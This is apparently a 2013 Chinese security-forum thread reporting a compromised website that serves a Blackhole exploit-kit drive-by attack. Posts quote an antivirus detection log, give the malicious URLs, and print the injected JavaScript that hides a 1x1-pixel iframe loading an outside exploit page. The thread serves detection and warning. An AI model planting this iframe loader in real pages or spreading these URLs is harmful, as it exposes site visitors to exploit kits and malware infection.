http://fflexx-technology.com/index.php/en/【挂马 by 蓝核】

显示全部楼层 · 发表于 2013-5-10 13:02:43

本帖最后由 wjhstu-VxG 于 2013-5-11 16:43 编辑

2013/5/10 13:01:56 已删除 l\AA C:\Program Files (x86)\Internet Explorer\iexplore.exe C:\Sandbox\AA\IE\user\current\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LUWC6CAC\en[1].htm JS/Exploit-Blacole.ht (特洛伊)

显示全部楼层 · 发表于 2013-5-10 13:14:30

http://takenstapservice.nl/cnt.php

复制代码

显示全部楼层 · 发表于 2013-5-10 18:21:55

显示全部楼层 · 发表于 2013-5-10 19:02:09

本帖最后由哀酱俏佳人于 2013-5-10 19:03 编辑

(function () {
var dtsx = document.createElement('iframe');

dtsx.src = 'http://takenstapser
vice.nl/cnt.php';
dtsx.style.position = 'absolute';
dtsx.style.border = '0';
dtsx.style.
height = '1px';
dtsx.style.width = '1px';
dtsx.style.left = '1px';
dtsx.style.top = '1px
';

if (!document.getElementById('dtsx')) {
document.write('<div id=\'dtsx\'></div>
');
document.getElementById('dtsx').appendChild(dtsx);
}
})();

好久不见了

显示全部楼层 · 发表于 2013-5-10 19:54:06

chrome先拦截了，小红伞和诺顿没派上用场

显示全部楼层 · 发表于 2013-5-10 23:15:24

[已鉴定] http://fflexx-technology.com/index.php/en/【挂马 by 蓝核】